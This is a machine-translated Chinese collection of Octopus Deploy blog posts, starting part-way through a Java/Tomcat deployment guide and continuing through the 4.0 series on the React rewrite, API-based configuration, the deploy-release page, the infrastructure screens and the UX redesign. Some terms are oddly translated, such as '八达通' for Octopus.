Deploy a package步骤为我们提供了一种方法，将包提取到部署目标上的期望位置。在我们的例子中，我们将 ZIP 包和 WAR 文件解压到 Tomcat webapps目录。
Configuration Variables和Configuration transforms部分提供了很多我们在部署 Java 应用程序时无法使用的功能。这些选项假设某些 XML 文件可以直接在包中获得。当包包含 WAR 文件，并且在部署期间不能修改 WAR 文件中包含的任何配置文件时，情况就不同了。这是将 Octopus Deploy 与 Java 工件一起使用的一个限制，但是 Octopus 团队正在研究这个问题，以便在未来的版本中更好地支持 Java。
为了定义提取 WAR 文件的位置，点击Configure features链接。选择Custom installation directory选项并点击Apply。
屏幕上将添加一个Custom install directory部分。将Install to字段设置为webapps文件夹的本地路径，例如/opt/apache-tomcat-8.5.15/webapps。
您很可能希望不选择Purge选项，因为 Tomcat 可能会托管其他 WAR 文件，您不希望在解压缩demo##<timetstamp>.war文件时删除这些文件。
创建一个 Octopus 部署版本
一个发布捕获了所有的项目和包的细节，所以它可以以一种安全的和可重复的方式被一遍又一遍地部署。入门文档详细介绍了在 Octopus Deploy 中创建新版本的过程。
部署八达通部署释放
部署是将版本部署到环境中的步骤的执行。一个单独的版本可以多次部署到不同的环境中。入门文档详细介绍了在 Octopus Deploy 中部署新版本的过程。
在我们的例子中，部署发行版意味着获取被推送到 Octopus Deploy 的包，在 Tomcat 服务器上安装 Calamari，将包发送到 Tomcat 服务器，并使用 Calamari 将包中的 WAR 文件提取到 Tomcat webapps目录中。
摘要
此时，Tomcat 已经将 WAR 文件提取到了webapps目录中，Java 应用程序将由 Tomcat 部署并运行。
我们目前正在为 CI 服务器开发插件，如 Bamboo，它将自动完成打包、推送和发布部署的过程，并且已经有了一个用于 TeamCity 的插件。
将来，我们会寻找将配置转换等特性引入 Java 包的方法，这意味着特定于环境的配置(如数据库连接字符串)将应用于 JAR、WAR 和 EAR 文件，就像它们应用于新环境一样。
Octopus Deploy 4.0 -为什么我们在重写 Octopus 4.0 UI 时选择 React 而不是 Angular
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
作为我们在 Octopus 4.0 中对门户网站进行大规模改造的一部分，我们从 Angular 迁移到 React。很多用户问我们为什么要搬家的细节，所以这篇文章的目的是通过我们在这个过程中所做的一些选择来回顾一些关于转变的关键点。
决策点
成熟的代码库
Octopus Deploy 的3.x版本中的前端代码库在我们的 2.0迁移到 Angular 时开始了它的生命。2013 年 Angular 1.2 风靡一时，dependencies 由 bower 管理，由 gulp 构建，而 Thrift Shop 则在电视上大放异彩。自最初发布以来，门户已经升级了许多次，但是它已经开始感受到产品在功能和活跃开发人员数量方面的巨大增长。在 Octopus Web Portal 2.0的最初开发阶段，团队成员只有 3 人，现在使用这个代码库的开发人员已经达到 23 人。截至 Octopus Deploy 的当前3.17版本，连接到application.js的旧门户网站包含近 1000 个文件，覆盖 40000 多行代码(不包括第三方库和 CSS)。
管理一个由 3 个开发人员组成的小型代码库比管理一个由 20 多个不同人员组成的大型代码库要简单得多，而且像任何代码库一样，现有的架构已经变得臃肿、不一致和过时。它大致遵循了构建“类 mvc”应用程序的老方法，一个目录用于控制器，一个用于视图，另一个用于指令
【T2 
很明显，一旦你有了更多的 UI 元素，这些元素的组成部分就会分散到几个目录中，很快就会分崩离析。如今，更具可伸缩性的模式是将组成单个组件的文件放在一起。当 Octopus 提供更简单的特性时，这种代码库可能是可管理的，但现在由于门户网站提供了更多的支持和控制，这种情况就不那么容易管理了。虽然像这样的结构性问题除了我们自己没有人可以责怪，但总会有这样的问题，这些问题产生于需要偶尔修剪的不断发展的代码库。在我们的情况下，花园已经变得泛滥成灾，是时候考虑砍掉它，重新种植了。
性能考虑因素
随着越来越大的客户在处理成千上万的机器、项目或步骤时开始注意到门户中的性能问题，规模也成为一个问题。这很大一部分是由于 Angular(2.0 之前)处理和渲染状态的方式。每当对一个对象进行更改时，都是通过对$scope.apply()的显式或隐式调用来启动一个摘要周期。Angular 然后需要检查该范围内的所有观察器(再次通过显式的.watch()注册或隐式的通过 UI 绑定),并比较它们的 before 和 after 值，以检查是否需要调用任何更新。当处理一个大的对象图时，这可能会变得非常昂贵。
这是一个突击测验。下面的代码是什么样子的？
不，这不是一个如何在 JQuery 之前构建动态网站的例子，这是我们发现的解决渲染项目仪表板屏幕的角度性能问题的最佳方法。当从 api 调用返回数千个部署项时，每隔几秒钟就会更新一次，这会造成相当明显的延迟。将它显示在屏幕上的最快方法是在内存中构建一个 html 字符串，并将其推送到 DOM 中。可以想象，代码库的这些部分虽然很少，但却很少受到喜爱和关注。
作为一项实验，我们最终使用n React将我们的角度代码的某些部分替换为 React 的小岛屿，希望利用虚拟 dom 的优势，并消除摘要循环。结果很明显。渲染几千个租户的屏幕从 Angular 的 20 秒到 React 的 2 秒。虽然这部分可能是由于我们现有的 Angular 代码急需清理，但它确实表明，如果我们重新思考我们现有的代码库，就可以实现一些真正的改进。使用虚拟 DOM 所增加的成本在很大程度上得到了补偿，因为我们避免了重新渲染甚至没有改变的大部分屏幕。令人惊讶的是，使用 React 得到了与旧的“HTML 字符串”方法相当的性能结果。
半铸钢ˌ钢性铸铁(Cast Semi-Steel)
最初，Octopus 2.0 是以 Bootstrap 2.3.2 为基础设计的，定制的 Octopus CSS 位于基础之上(这有时会涉及修改 Bootstrap 样式表本身！).在3.0中，一个新的定制设计模板被添加到组合中，正好在升级版 Bootstrap 和定制 Octopus 风格之间。就像在现有的四层建筑上增加一个新的二层，当然理论上是可行的，但是会有很多隐藏的管道和电线需要排成直线*。除此之外，还有各种组件所需的所有其他样式，如 Angular UI 、 select2 等。这是超过 3 种不同的设计结构相互作用(和反对)。我不打算添加我确信我们都见过的 Family Guy CSS GIF ，但我只想说，在你的 CSS 中出现!important通常是有问题的迹象。我们的构建过程甚至需要分割串接的 CSS 文件，以绕过 IE 对每个样式表最多 4095 条规则的限制！为了提供一个全新的设计来提高可用性，一个全站点范围的重建在很多方面都像是最合理的解决方案。*
*
这些款式一定真的很重要！(好吧，这是一个特别不好的例子)
仍然...为什么要反应？
随着我们门户的 Angular 1.4 版本明显超出了自身的发展，我们决定在开发的便利性和最终用户的性能方面更好地适应未来，重建前端是至关重要的。无论如何，从 Angular framework 1.x 到 2.0 几乎可以被认为是一个完全的重写，所以还有什么更好的机会来评估还有什么其他的选择。
React 已经表明自己是一个明显的竞争者。通过利用虚拟 DOM(不要与浏览器原生特性 Shadow DOM 相混淆)，React 能够将文档渲染减少到那些实际需要更改的情况。当处理数千台机器时，正如我们的一些用户所做的那样，UI 的任何改进都是显而易见的。在整个消化周期中提供的观察模式 Angular 只会加剧这个问题。在任何改变之后比较我们所有组件的状态被证明是非常昂贵的。
最终，没有人是在真空中发展的(我所说的发展“真空”指的是缺乏 StackOverflow 而不是空气的环境)，所以社区参与是我们决策的一个关键因素。React 生态系统拥有一个庞大的活跃贡献者社区，与 Angular 2.0 相比，React 轻松获胜。React 也从一个简单的前端网站框架发展起来，现在可以作为一个工具来构建“原生”浏览器应用程序(用于我们的迷你 IOS 应用程序 OctoWatch )或网站的服务器端渲染。
尽管如此，React 在我们的特殊情况下是赢家，当然，这并不是说对于某些场景，Angular 不是一种合适的方法。
新的希望
选择 React 作为新门户的核心引擎之后，让我们看看我们最终是如何使用它来构建全新的 Web Portal 4.0 的。
没有冗余
在社区的某些地方似乎有一点假设，如果不在 Redux 中管理所有状态，就无法构建 React 应用程序。Redux 的作者之一丹·阿布拉莫夫在他的博客“你可能不需要 Redux”中说得很好
...如果你只是在学习 React，不要把 Redux 作为你的首选。相反，要学会在反应中思考。如果你真的需要它，或者你想尝试一些新的东西，请回到 Redux。但是要小心对待它，就像对待任何固执己见的工具一样。
后来在回应一条推特帖子时。
在构建门户的最初尝试中，我们打算尽可能多地使用 Redux 来维护整个项目的状态。当我们看到执行最平凡的任务所需的锅炉板数量时，我们的担忧开始了。我们还担心将如此多的数据存储到一个单一的静态(出于各种目的)状态中。一些拥有大型部署仪表板的用户的数据可能有几兆字节大小。确保这种状态被适当地清理包括在组件生命周期中的正确时间分派事件，然而这感觉起来像一个泄漏的抽象(和一个手动的垃圾收集行为)，要求组件知道一些关于存储机制的事情，以便告诉它什么时候数据需要被清理，什么时候它可以被留下。最终，这些数据的上下文只在仪表板组件上有意义。
了解对象图中的正确位置还需要了解应用程序整体的上下文。当我检索Project资源时，我应该把它放在“Project”的根级别吗？如果另一个组件出于不同的目的突然需要另一个项目，或者如果我们决定现在可以为屏幕的不同部分同时加载多个项目，该怎么办？这些问题都有约定、规则或库形式的答案，但是它们的存在让我们停下来思考我们最初用 Redux 做什么。
我们的回应是取消 Redux 和的使用，只在组件级状态机制不再有意义或不切实际的地方使用它们。是的，子标题有点像点击诱饵，我们仍然使用 Redux ，但是，我们只在需要的时候才根据具体情况添加状态。我们的应用程序中需要通信或处理非本地化状态的部分，生活在 Redux 提供的非本地化状态管理中是有意义的。例如，我们希望页面标题和侧栏显示项目名称，项目名称本身可能需要更新，以响应有人更新它在组件树深处的值。
与一些最初的担忧相反，我们发现这并不比“Redux 中的整个应用程序状态”方法声称的更糟糕。唯一的缺点是这会使测试稍微复杂一点，因为数据不是通过 Redux 注入的，而是由组件本身在componentDidMount生命周期阶段加载的。
戴夫·塞迪亚在【Redux 做什么”中总结道
但是这里的这个东西，“将任何数据插入任何组件”，是主要事件。如果不需要那个，大概也不需要 Redux。
关键的一课是在寻找解决方案之前了解你的问题和局限，并且只在有意义的地方使用解决方案，而不仅仅是因为其他人都喜欢它。
带有类型的 Javascript
作为一个在 Notepad.exe 还是最好的 IDE 的时候就开始建立网站的人，在之前的一个项目中第一次有人向我提出 TypeScript (TS)的时候，我毫不掩饰地反对这个想法。“外部类型框架只会让它变得脆弱，增加开销！为什么要通过静态输入来失去 Javascript 的一些功能呢？没有人把宝贝放在角落里！”从这个新的 Octopus 4.0 项目开始就介绍了 TS，我可以说我现在是一个皈依者。
我们发现，在将一些旧代码移植到新门户时，引入 TS 实际上暴露了一些错误和代码做出的错误假设，否则我们不会发现这些错误和假设。TS 只是 JavaScript 的一个超集，所以你可以把你的.js文件转换成.ts，然后在合适的地方慢慢使用它。我们同时添加了 tslint 来帮助维护整个项目的一致性。最简单的事情是从一套宽松的规则开始，当你觉得有能力处理其余开发人员的愤怒时，通过逐步启用更多规则来拧紧螺丝。我听说过这样的情况，其他开发人员对 TS 完全不感兴趣，因为从一开始就应用了过多的规则，而不是先学习如何使用它。
TypeScript 可能并不适合所有人，但是从我的经验来看，能够自信地推断什么被传递到您的函数或组件中，可以在重构或尝试使用另一个开发人员的代码时节省大量时间。当一个 JS 项目只有一两个开发人员时，没有某种类型的输入系统可能是可行的，但是当您有超过 20 个开发人员，处理数百个文件时，这就是它真正开始为自己说话的时候(我甚至发现自己在自己的个人项目中使用它)。能够重构 JS 代码并自信地知道您的更改将会影响什么，而不是必须非常了解代码库及其相互交织的依赖关系，这在鼓励您维护代码方面非常有效。作为 Babel 的替代品，它允许我们使用即将标准化的原生语法来编写在旧浏览器中具有 pollyfills 特性的 JavaScript。也有可能通过一点努力来克服处理第三方库类型的小问题。相反，我发现与这种规模的其他项目相比，TS 提高了生产率，因为它消除了一些测试小事情的需要，比如检查函数中的输入处理，这些检查以前会确保有效类型被传入(我说过我们能够通过少个个测试，不要引用我说的无)。有时，编译器会发现一些愚蠢的错误，比如属性大写，否则可能会被忽略。
有用的智能感知(注意它发现了道具也有孩子，并发现了我的大写错误。)
我无法用更高的标准来表述这一点:
TypeScript 减少了我头脑中解构和跟踪其他开发人员编写的代码的调用堆栈所需的时间。这一点它做得更准确。
你有哪些经历？
我们很幸运，我们的客户基本上和我们一样。我们说同样的语言，并且倾向于寻求同样的目标。虽然这意味着我们可以利用我们在软件行业的经验来开发一个我们喜欢使用的产品，但这也意味着我们用户的经验可以教会我们一些东西。让我们知道你是否已经转移到或离开 React。你发现最大的教训或陷阱是什么？*
八达通部署 4.0 -配置-八达通部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
对于大多数 Octopus 用户来说，他们与 Octopus 的日常交互包括设计和定义出色的部署流程，然后根据这些流程监控部署。他们生活在章鱼门户的美丽世界中，正如你在本系列中已经看到的，这个世界在 4.0 版中变得更加美丽。
还有另一个更小的用户群，他们生活在一个非常不同的世界。他们是负责供应 Octopus 服务器本身并保持其愉快运行的小组，以便它可以提供所有其他用户生活的美丽世界。
这群用户今天生活的世界看起来更像这样
Octopus.Server.exe stop --instance=master
Octopus.Server.exe configure --instance=master --corsWhitelist=http://opsthing.mycompany
Octopus.Server.exe start --instance=master
现在我们知道这个世界对某些人来说是美丽的，但它也存在一些问题。
理解问题
我们在这里讨论的问题影响着我们，作为 Octopus 开发者，以及我们的客户。我们经常建立新的实例，试图重现问题，在发布前测试版本，并开发新功能，所以我们已经亲身经历了所有这些。
在这一部分，我们将只讨论两个最大的问题。首先是了解你可以设置哪些选项。第二个是设置的实际编辑。
有多少配置选项？
对于那些从未享受过使用configure命令的人来说，花一分钟运行Octopus.Server.exe configure --help(你可能想在运行之前提高你的屏幕缓冲区的高度😉)或查看我们的文档页面。
了解这些选项之间的相互关系有时可以通过命名来理解，但并不总是如此。有时通过接近就能破译，但并不总是如此。
这是一堵巨大的文字墙，找到你想要的东西太难了。
控制台访问
要更改 Octopus 配置，您需要访问服务器的控制台。这通常包括物理访问服务器或远程桌面、远程 PowerShell 或类似的可以让您远程运行命令的东西。
当我们在发布之前进行测试时，这是一个特别棘手的问题。我们使用基本配置，在云中自动运行测试环境。现在，让我们假设我一直在做类似认证相关的修复工作，我想让 Azure AD 认证提供商测试我的更改。
实例已启动并正在运行，我可以使用用户名/密码登录，但我实际要做的第一件事是查找启动的虚拟机的详细信息，然后我需要获得该服务器的地址及其管理员凭据，以便我可以远程桌面到它。一旦我最终连接上了，我必须进入安装文件夹并运行如下程序:
Octopus.Server.exe configure --instance=xyz --azureADIsEnabled=true --azureADIssuer=https://login.microsoftonline.com/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx --azureADClientId=zzzzzzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz
解决方案
我们考虑这些问题已经有一段时间了，允许通过 API 编辑配置似乎是显而易见的答案。在 4.0 中，这就是我们正在做的事情。
API 优先
允许通过 API 读取和写入配置意味着我们可以在 UI 中以更有意义的方式显示值，并且还允许像任何其他资源一样进行编辑。
通过 API 进行配置也意味着所有用于读取和写入的数据都是完全相同的形状。如果你正在做像自动安装和漂移检测这样的事情，这应该会使生活比以前容易得多。
把东西放在一起
当您查看configure命令时，您可能已经注意到，设置被视为一个列表；它们不是结构化数据。拥有一个 API 也能帮助我们做到这一点。
假设 API 使用 JSON 文档，它可以使用对象来表示配置节和相关值。例如，Web 门户配置可以表示为如下形式:
{
"Id": "webportal",
"Security": {
"CorsWhitelist": "http://localhost:9005",
"ReferrerPolicy": "no-referrer",
"ContentSecurityPolicyEnabled": true,
"HttpStrictTransportSecurityEnabled": false,
"HttpStrictTransportSecurityMaxAge": 3600,
"XOptions": {
"XFrameOptionAllowFrom": ""
}
}
}
或者对于 Azure AD，类似这样的内容:
{
"Id": "authentication-aad",
"IsEnabled": true,
"Issuer": "https://login.microsoftonline.com/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"ClientId": "zzzzzzzz-zzzz-zzzz-zzzz-zzzzzzzzzzzz",
"Scope": "openid%20profile%20email",
"RoleClaimType": "roles",
"NameClaimType": "name",
"AllowAutoUserCreation": null
}
新的用户界面
随着对门户的更新，我们现在可以更容易地动态生成表单来编辑配置。
为什么这很重要？一句话，扩展。我们希望有一种方法允许扩展向门户贡献 UI，而不需要它们理解所涉及的技术。在 v3.5+中，扩展能够贡献角度模块，这在当时满足了我们的需求，但总感觉有风险。
因此，我们正在脱离这种模型，转而使用一种基于我们如何处理 Step 模板的模型。也就是说，我们使用一些元数据来描述我们想要的 UI，然后生成它。这意味着实际上有两个新的 API，一个用于获取/设置值，另一个用于获取与值相关的元数据。
一些精美的印刷品
当您在 HA 配置中使用 Octopus 时，需要注意这些变化。
节点细节
首先，您可以通过 API 和 UI 查看和编辑的唯一配置设置是那些与 HA 节点集中的每个节点相关的设置。
出于各种原因，ListenPrefixes、ForceSSL 和 RequestLoggingEnabled 等设置是特定于节点的，因此不能通过 API 进行编辑。
性能和缓存
这些特定于节点的设置有问题的原因之一是，更改它们需要重新启动 Octopus 服务。在单节点配置中，这并不难管理，但在负载平衡的 HA 配置中，这是一个非常棘手的问题，解决这个问题超出了我们目前的目标范围。
在我们设置为可编辑的值中，出于性能原因，一些值被所有节点缓存。在 v3.x 中，对这些值的任何更改也需要重新启动服务，但我们正在努力避免在 4.0 中出现这种情况。
在 4.0 中，收到 API 更新请求的节点将立即重置其内存缓存。所有其他节点将在下一次心跳时重置(可能在 5 到 30 秒之间，取决于它们是否是主节点)。因此，一些更改可能需要 30 秒才能在节点间传播。我们希望这在整个集群中更加直接，但是引入分布式缓存再次超出了我们目前的目标范围。
在非高可用性配置中，您实际上只是运行单个节点，因此将获得立即重置行为。
最后一点，命令行实现没有改变。它仍然支持以前的所有设置，包括特定于节点的设置。这意味着它仍然在一个独立于 Octopus 服务的进程中运行，并且不能立即触发缓存重置。不管是不是，您都必须等待下一次心跳，以使更改生效。这可能会在未来的更新中有所改变，但目前，最好的解决方法是通过新的 API 进行配置😉
欢迎反馈
在我们测试这些变化的过程中，我们确实发现生活变得更容易了，我们希望你也一样。一如既往，我们热切期待您的反馈，请在下面留下您的意见。
祝您配置愉快，部署愉快！
更新(2017 年 11 月 24 日):我们在管理文档中添加了一些如何以编程方式与新 API 交互的示例。
八达通部署 4.0 -部署发布页面重新设计-八达通部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
在为 Octopus 4.0 进行 UI 刷新时，许多页面实际上是新外观的直接接口。但是有几次我们抓住机会重新思考了设计。
其中之一是部署一个版本的页面。
最初创建现有页面是为了将一个版本部署到单个环境中。后来，它被扩展到允许部署到多个环境中。然后多租户特性出现了，我们增加了为一个或多个租户创建部署的能力。
老实说，早就该重新设计了。
介绍新的部署发布页面
将一个版本部署到多个环境或租户时，可以看到最显著的变化。
我们在概念上将页面分成两个部分:北边的和南边的(好吧，也许我们中的一些人当时看了太多的《权力的游戏》)。****
**在下图中，预览和自定义分隔符形成赤道。
北部是您选择的地方，在那里发布将被部署(环境和租户)。它还允许您配置一些选项，这些选项适用于将被创建的所有部署。
南部显示将要创建的部署，并提供额外的每部署配置的能力。
北
在北部，您选择希望部署到的环境和租户(如果是多租户项目)。
显示高级按钮显示附加选项，例如:
- 为将来的时间安排部署
- 从部署中排除步骤
南方
南部部分有望清楚地显示将要创建的部署。这是现有设计没有有效传达的内容。
当在北方使用复杂的租户标签表达式时，这变得特别重要。在这种情况下，South 将评估标记表达式，并准确显示将创建哪些租赁部署。
展开部署允许您预览将在哪些目标上执行哪些部署步骤。
您还可以在此包括\排除特定的部署目标。
当不是彩虹和棒棒糖的时候
有时创建部署会失败。
您可能在环境中没有任何匹配的目标，或者您可能缺少一个必需的变量。
老人
当部署到许多环境或租户时，一些部署成功创建，而另一些部署失败，这使用户处于不利地位。解决错误后，需要重新配置部署选项，以确保成功创建的部署不会被重新部署。
新的
在新版本中，我们提供了一个重试失败按钮。
例如，在下图中，无法创建对英特尔租户的部署。点击重试不成功将仅对该租户进行重试(还有一个部署所有按钮)。
告诉我们你的想法
我们总是喜欢您的反馈。
请告诉我们你对新设计的看法。如果您对之前的版本有任何问题，我们特别希望您能留下评论。我们解决了吗？
愉快的部署！
(希望通过 Octopus v4 创建)**
八达通部署 4.0 -历史-八达通部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
我知道你们中的一些人想知道为什么我们决定重写 Octopus UI，这篇博文试图对这个问题提供一个高层次的答案。我们将在以后的博客文章中解释每个重大变化的细节。
Octopus 3.x的 UI 是建立在 Angular 1.x之上的，大约一年前 Angular 2.0取代了 Angular1.x。从1.4到2.0的迁移需要付出巨大的努力，所以我们不只是问如何/何时迁移1.4到2.0，而是问自己下一个版本的 Octopus UI 应该是什么样子。而v4就是这样诞生的。
用户体验
自从2.0于 2013 年 12 月发布以来，Octopus UI 一直没有显著变化，我们认为是时候对其进行现代化改造并解决几个长期存在的问题了。这不能仅仅通过应用一个新的样式表来完成，因为我们想要引入新的交互，去除很多不一致的地方，并重新设计一些最常用的页面。变量编辑器、部署页面或环境仪表板不能仅仅通过修复错误而得到显著改进。它们需要完全重新设计。
当你第一次访问 Octopus UI 时，你需要等待超过 1MB 的静态资产被下载。这不是一个很好的第一印象。为了解决这个问题，我们重新构建了 UI 代码，只同步加载绝对必要的内容，然后在后台异步加载所有其他区域。这有效地减少了用户开始与应用程序交互之前需要发送给浏览器的代码量。
开发者体验
从开发的角度来看，我们想要一个可以使用现代 JavaScript 的环境，我们可以在未来安全地维护和扩展它。满足这些要求的技术不止一种，我们已经对其中的一些进行了试验。在这个练习的最后，我们选择了 TypeScript 、 React 和 CSS 模块作为我们的基本构建模块。
TypeScript 让我们的 JavaScript 成为强类型，这有助于消除许多手动重构，现在可以由代码编辑器自动完成。TypeScript 还将几个常见的运行时错误转换为编译时错误。我不记得上一次看到由打字错误引起的错误是什么时候了😃。
TypeScript 编译器是一个 transpiler ，这意味着我们可以使用现代 JavaScript(例如arrow functions、async/await)，而不用担心浏览器还不支持它。
我们从 Angular 到 React 的转变需要一个单独的帖子，但我至少应该在这里提供一个高水平的总结。我们选择 React 是因为它在概念上很简单，并且大量使用现代 JavaScript(例如Array.map)而不是依赖自定义语法(例如 Angular v1中的ng-repeat或*ngFor Angular v2)。梅里克·克里斯滕森的 React vs Angular 2 帖子的结论很好地总结了这两者之间的主要区别。实际上，React 让你成为更好的 JavaScript 开发人员，Angular 让你成为更好的 Angular 开发人员。
CSS 模块让我们保持组件的样式彼此完全隔离。我们可以全力以赴，用 JavaScript 指定我们的 CSS，但我们对更少的东西感到满意，唯一缺少的就是隔离。
正如你所看到的，我们已经决定同时解决相当多的复杂问题，这需要大量的协调努力，但我们将 Octopus UI 视为 Octopus Deploy 生态系统的重要组成部分，并愿意投资于它。
八达通部署 4.0 -基础设施重新设计-八达通部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
对于那些使用 Octopus 处理过几百个以上部署目标的人来说，您会非常了解当前环境屏幕的令人沮丧之处😃
有些客户使用 Octopus 有几千个部署目标，有些有几万个部署目标。对于在这种规模下操作的客户来说，呈现所有这些目标的渲染时间并不长，甚至不好...这是翻转表格的材料(因为页面一旦达到一定的内存限制，就会在渲染过程中超时)。除此之外，它还无法搜索、过滤或浏览结果，因此根本无法扩展。
还有一些客户只需要少数几个部署目标，他们不希望被只满足大规模运营客户需求的解决方案所束缚。
因此，我们有一个需要改进的高级清单，即:
- 改善大量环境和部署目标的渲染时间
- 增加了根据各种标准进行搜索和过滤的能力
- 切换到列表布局，使内容一目了然
- 添加概述页面，提供有用的摘要，以便您可以快速找到您想要的内容
我们也知道想要管理环境(以及那些环境中的部署目标)和仅仅想要管理部署目标之间的区别。关键是，不同的客户有不同的需求，试图将所有需求压缩到一个屏幕上被证明是不可行的，所以我们决定给我们的用户选择，并且两者都做😃
理解问题
为了进入这种思维模式，我们编写了一个脚本，加载了 2000 多个随机数据的部署目标，并开放了(当前的)门户网站...
是的，这是 environments 页面所呈现内容的一个长包装版本(这些小蓝点中的每一个都是一个机器图标)。为了客观地看待这个问题，我的“全屏截图”插件在试图在我的 retina iMac 上捕捉它们时耗尽了内存并崩溃了，所以我不得不从 DPI 设置较低的虚拟机上捕捉😃
显然，我们注意到的第一件事是渲染花费了大量时间。这个屏幕上没有实现分页，所以如果您有超过 9000 个部署目标，那么您的 web 浏览器需要生成和呈现超过 9000 个 HTML 行项目(更不用说还需要发生的所有环境和健康状态分组)。
我们注意到的第二件事是找到任何东西是多么困难。你只能在浏览器中按 Ctrl-F 键，因为网格布局使得快速浏览和查找变得非常困难。
更糟糕的是，如果你点击了一个目标，然后点击了返回，你必须等待一切重新加载(渲染，Ctrl-F 再次找到你的位置...你只想尖叫或哭泣，通常两者都想)。在这种状态下生活一段时间后，你会学会适应并避免重新加载环境页面...
但是这正是我们通过编写如此多的部署目标所想要的，因为现在我们亲身经历了痛苦。现在我们有一个问题要解决，也有动力去看看我们能想出什么😃
4.0 解决方案
介绍新的基础架构概述
以前，所有环境和部署目标都位于一个名为“环境”的区域。这个环境区域在顶部菜单中也有到机器策略、代理和帐户的链接，这总感觉有点“附加的”,与环境完全不相关。因此，首先我们决定清理门户，创建一个名为基础设施的全新区域，所有的基础设施都将位于此处(如果您有任何与环境相关的书签，请不要担心，我们已经添加了旧 v3 路由的重定向😉 ).
现在，您可以一目了然地了解您的环境、部署目标以及它们在角色和租户等方面的使用情况。我们发现该视图对于了解某些目标何时可能不健康或不可用非常有用，并且它使得获得特定类型部署目标的过程变得更加容易。
例如:
- 想要快速点击进入标有“docker-server”角色的目标吗？点击链接，你就可以直接找到他们。
- 想只看到你的投票触角，或者只是你的残疾目标？现在这很容易。
此外，对于使用多租户的客户，我们将为您提供全面的服务。现在，您可以通过租户或租户标签集快速找到部署目标。
介绍新的环境屏幕
新的环境屏幕利用了 Octopus 4.0 重新设计中可用的高级滤镜(然后为每个环境添加了更多滤镜*“我们有假门滤镜，你不会相信的！”*)，使得加载环境和查看其中包含的部署目标的摘要变得更快。
这个屏幕对于大规模操作的客户来说特别有用，他们不希望 Octopus 开始加载和渲染成千上万的目标，直到他们明确指定了他们要找的东西。
例如，如果您正在寻找具有特定角色的云区域目标，只需展开并分配您的过滤器，列表将根据相关环境进行刷新。
然后，您可以单击一个环境来展开并查看符合标准的部署目标。
介绍新的部署目标屏幕
对于那些只想快速到达其部署目标(而不想通过环境屏幕进行额外点击)的客户，我们专门为您制作了一个部署目标区域😃
该屏幕包含与环境屏幕相同的搜索和过滤机制，但是它直接向您显示您的部署目标。
无论选择哪种方式，我们都在客户端添加了分页支持，以减少呈现数千个不必要的目标，并在选定的端点上添加了客户端缓存支持，以尽可能快地加载。
这些屏幕上的过滤还包括深层链接，因此当您单击部署目标并单击 back 时，当您返回到#NoMoreTableFlipping 列表时，这些过滤器仍将被应用。
就这些了，伙计们！
我们真的很兴奋很快就能拿到你的手中。欢迎给我们留下评论，让我们知道你的想法😃
感谢您的阅读，祝您部署愉快！
Octopus 部署 4.0 - UX 和 UI - Octopus 部署
这篇文章是我们章鱼 4.0 博客系列的一部分。在我们的博客或我们的推特上关注它。
Octopus Deploy 4.0 已经发货！今天就阅读博文和下载吧！
八达通 4.0 UX 和用户界面
我们希望 Octopus 发展壮大，成为一个强大的行业领先的部署工具，甚至比现在还要强大。但是我们认识到，为了给我们的用户最好的体验，我们需要重写和重新设计，以适应未来的增长和新功能的能力。新的用户界面可能会有很大的不同，但有很多页面的布局或内容没有改变，所以你应该会发现大部分领域都很熟悉。Octopus 4.0 UI 的目的是更新到一个现代化的界面，减少用户的认知负荷，重新设计以适应增长，最重要的是保持提供良好的用户体验。
现代用户界面
我们决定使用现有的 CSS 和模式库，这样我们就可以专注于构建出色的部署工具体验。我们真的很喜欢谷歌的材料指南，但也意识到不要失去一些标志性的章鱼风格，例如，任务细节风格。Material-UI 库中有大部分需要的模式，我们已经将它们改编成我们自己的品牌。通过使用现有的库，我们利用大多数人已经使用的现有模式，所以当你升级到 Octopus 4.0 时，这是一种熟悉的体验。
仪表板前
仪表板后
降低认知负荷
每个页面的目标是直观的，让用户立即知道他们在哪里，做什么，以及如何做。我们发现有些页面很忙，有解释每个部分内容的文字和看起来一样的按钮。为了减少所需的脑力劳动，我们应用了一些简单的设计原则:焦点和流程的层次颜色、大小和位置帮助 4.0 在布局和组件中实现了层次。
按钮组件使用颜色来确定主要动作、次要动作和三元动作，这些动作通常内嵌显示。任何用户不经常使用或者我们不希望被意外点击的动作现在都在溢出菜单中。
使用页面布局层次结构允许我们使用模式来帮助直观地表示从高级摘要、详细摘要到详细数据视图的流程。在某些情况下，由于数据的目的，这并不可行，但是大多数部分都是从卡片视图开始，然后转到列表或表格，再转到表单和详细数据。
卡片查看
列表视图
汇总表视图
详细表格视图
将有用的动作放在一起
该界面被设计成动作按钮位于内容区域内，并且在任何时候都可以通过粘性的部分标题看到。不用再滚动到保存按钮！
一致性
通过基于层次和接近度创建设计布局，我们立即解决了布局一致性问题。为了确保每个人都使用相同的组件，我们开发了一个详细的风格指南，开发人员可以很容易地找到正确的组件。
提供清晰的摘要视图
Octopus 4.0 UI 最大的变化之一是扩展了表单部分。当折叠时，面板显示步骤或项目设置的配置摘要，没有其他设置的干扰，因此减少了用户的认知负荷。
汇总表单视图
详细表格视图
规模设计
以前的 Octopus UI 不能很好地显示大量数据，因此 Octopus 4.0 需要确保使用扩展面板和表格等模式在屏幕上显示尽可能多的数据。扩展面板还有助于减少页面(如重新设计的环境页面)的加载时间。拥有大量数据的 Octopus 用户面临的一个问题是寻找东西。为了帮助我们，我们疯狂地使用过滤器、高级过滤器和预定义过滤器。
环境页面在之前
环境页面后
我们知道习惯新事物可能是一个挑战，但我们相信我们重新设计和重组区域的决定，如变量编辑器和部署页面，已经产生了一个令人敬畏的 Octopus 4.0 版本。这要感谢正在进行的用户语音建议，以及最近我们的用户，他们在测试 Octopus 4.0 Alpha 时提供了宝贵的反馈。
